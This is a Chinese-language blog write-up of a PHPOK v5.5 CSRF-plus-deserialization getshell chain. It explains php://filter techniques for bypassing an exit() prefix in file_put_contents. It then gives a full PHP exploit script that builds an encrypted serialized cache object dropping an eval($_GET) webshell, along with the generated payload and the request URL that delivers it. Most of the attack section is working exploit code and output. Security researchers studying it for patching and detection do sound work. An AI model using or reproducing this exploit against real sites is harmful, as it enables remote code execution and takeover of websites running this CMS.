PHPOK v5.5 csrf+反序列化漏洞getshell分析

漏洞影响版本

PHPOK v5.5

漏洞分析

路由规则

phpokcms代码结构,关键代码都在framework文件夹下

imgbed.cn图床

phpokcms的路由规则比较简单,index.php admin.php api.php 分别对应 framework文件夹下的www admin api这三个文件夹

请求url

1
http://localhost/phpok/admin.php?c=address&f=open

参数c的值拼接上_control.php就是对应的文件,对应的类即参数c的值拼接上_control,如address_control

参数f的值拼接上_f就是对应的方法,如open_f

imgbed.cn图床](https://imgbed.cn/preview?id=60208e205dc5370001a461a4)

可利用恶意类

文件位置:/framework/engine/cache.php

__destruct()调用了save方法,在save方法中使用了file_put_contents函数,函数的第一个和第二个参数均可控,但是第二个参数前面拼接了<?php exit();?>使后面的php代码无法执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class cache
{
public function __destruct()
{
$this->save($this->key_id,$this->key_list);//调用save
$this->expired();
}
public function save($id,$content='')
{
if(!$id || $content === '' || !$this->status){
return false;
}
$this->_time();
$content = serialize($content);
$file = $this->folder.$id.".php";
file_put_contents($file,'<?php exit();?>'.$content);
$this->_time();
$this->_count();
if($GLOBALS['app']->db){
$this->key_list($id,$GLOBALS['app']->db->cache_index($id));
}
return true;
}

}
?>

绕过exit()

save方法中使用了file_put_contents函数,第一个和第二个参数均可控,第二个参数前面拼接了<?php exit();?>使后面的php代码无法执行,可以通过php://filter伪协议使拼接的<?php exit();?>失效

来源于

基于php://filter协议对exit函数几种逃逸方法的分析

1.string.strip_tags

该特性从PHP 7.3.0起废弃

<?php exit()?>本质是XML标签,可以使用strip_tags()函数去除它。为了防止我们写入的代码也被去除,需要把代码base64编码后写入

1
2
3
4
//1.php
<?php
file_put_contents('php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php','<?php exit();?>'.$_GET['a']);
?>

将<?php phpinfo();进行base64编码后提交

1
http://localhost/test/1.php?a=PD9waHAgcGhwaW5mbygpOw==

写入成功

imgbed.cn图床

2.base64

base64编码结果只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时(如<>?;()等),将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码,如<?php exit();?>就会先变成phpexit再进行解码,phpexit一共7个字符,而base64解码算法是4个byte一组,所以再在后面任意添加一位,比如a,这样就是phpexita再在后面接上一句话的base64编码,前面八位phpexita解码结果是乱码不会被执行,后面接着解码一句话的base64编码

1
2
3
4
//1.php
<?php
file_put_contents('php://filter/write=convert.base64-decode/resource=shell.php','<?php exit();?>'.$_GET['a']);
?>

提交

1
http://localhost/test/1.php?a=aPD9waHAgcGhwaW5mbygpOw==

imgbed.cn图床

imgbed.cn图床

3.rot13

<?php exit(); ?>在经过rot13编码后会变成<?cuc rkvg(); ?>,在php不开启short_open_tag时,php不认识这个字符串,也就不会被执行,<?php phpinfo();?>经过rot13编码后的结果为<?cuc cucvasb();?>

提交

1
http://localhost/test/1.php?a=<?cuc cucvasb();?>

imgbed.cn图床

反序列化

由名称得知decode()为解密函数,encode()为加密函数,encode()调用serialize(),decode()中调用unserialize(),找到调用decode()处,把序列化后的恶意类用encode()加密再使用decode()解密并进行反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
class token_lib
{
private $keyid = '';
private $keyc_length = 6;
private $keya;
private $keyb;
private $time;
private $expiry = 3600;



public function keyid($keyid='')
{
if(!$keyid){
return $this->keyid;
}
$this->keyid = strtolower(md5($keyid));
$this->config();
return $this->keyid;
}

private function config()
{
if(!$this->keyid){
return false;
}
$this->keya = md5(substr($this->keyid, 0, 16));
$this->keyb = md5(substr($this->keyid, 16, 16));
}



public function encode($string)
{
if(!$this->keyid){
return false;
}
$string = serialize($string);//序列化
$expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
$string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string;
$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
return $keyc.str_replace('=', '', base64_encode($rs));
//return $keyc.base64_encode($rs);
}

public function decode($string)
{
if(!$this->keyid){
return false;
}
$string = str_replace(' ','+',$string);
$keyc = substr($string, 0, $this->keyc_length);
$string = base64_decode(substr($string, $this->keyc_length));
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
$chkb = substr(md5(substr($rs,26).$this->keyb),0,16);
if((substr($rs, 0, 10) - $this->time > 0) && substr($rs, 10, 16) == $chkb){
$info = substr($rs, 26);
return unserialize($info);//反序列化
}
return false;
}



}

encode()和decode()都要求keyid,全局搜索得到keyid来源于管理员设置的api_code

1
$this->lib('token')->keyid($this->site['api_code']);

CSRF

在后台找到API验证串设置处

imgbed.cn图床

抓包后发现无csrf防护,构造请求诱导管理员访问即可

imgbed.cn图床

利用

构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php
class cache{
protected $key_id;
protected $key_list;
protected $folder;

public function __construct(){
$this->key_id = 'shell';
$this->key_list = 'aa'.base64_encode('<?php eval($_GET["shell"]);?>');
$this->folder = 'php://filter/write=convert.base64-decode/resource=';
}
}

class token{
private $keyid = '';
private $keyc_length = 6;
private $keya;
private $keyb;
private $time;
private $expiry = 3600;

public function keyid($keyid=''){
if(!$keyid){
return $this->keyid;
}
$this->keyid = strtolower(md5($keyid));
$this->config();
return $this->keyid;
}
private function config(){
if(!$this->keyid){
return false;
}
$this->keya = md5(substr($this->keyid, 0, 16));
$this->keyb = md5(substr($this->keyid, 16, 16));
}

public function encode($string){
if(!$this->keyid){
return false;
}

$expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
$string = sprintf('%010d',($expiry_time + time())).substr(md5($string.$this->keyb), 0, 16).$string;
$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
return $keyc.str_replace('=', '', base64_encode($rs));
//return $keyc.base64_encode($rs);
}

private function core($string,$cryptkey){
$key_length = strlen($cryptkey);
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();

// 产生密匙簿
for($i = 0; $i <= 255; $i++){
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度

for($j = $i = 0; $i < 256; $i++){
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++){
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $result;
}
}

$token = new token();
$token->keyid('123456');
echo $token->encode(serialize(new cache));
?>

运行脚本得到payload

imgbed.cn图床](https://imgbed.cn/preview?id=60208e5954a29f0001d1ddfb)

在index_cotrol.php中的phpok_f方法中发现调用decode

imgbed.cn图床

根据路由规则请求url,token为payload

1
http://localhost/phpok/api.php?c=index&f=phpok&token=478ef7obit5nzTBxeDcrCXjGxB4ifLSKWvkWtVrpSmI9W4o0rjCDuphi5+PHD0vNqavv0lx0PQ+v/RfRV/CPv81ncmZb2RJy2eYWxxRII1wSLQ825xh7jrjXMPjbAZ6gUiAuCb2HSMz/vizU53Wfc64OIB/5FYAH0OcBENNyngihF9LNgQ5pxVQkf2EAvG0T7AbWMb6prp0ZTaZ19SbZdAeKV3AB8LApao8nODRRNLutAwh5k6MUefwjD9lU/Czv0n/UXAGlIl+asWwzpz6pMYfHTbIc5Byug4

利用成功

imgbed.cn图床

参考:

https://xz.aliyun.com/t/7852

https://www.ghtwf01.cn/index.php/archives/985/

https://www.ghtwf01.cn/index.php/archives/981/

http://althims.com/2020/02/05/phpok-5-4-173/


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!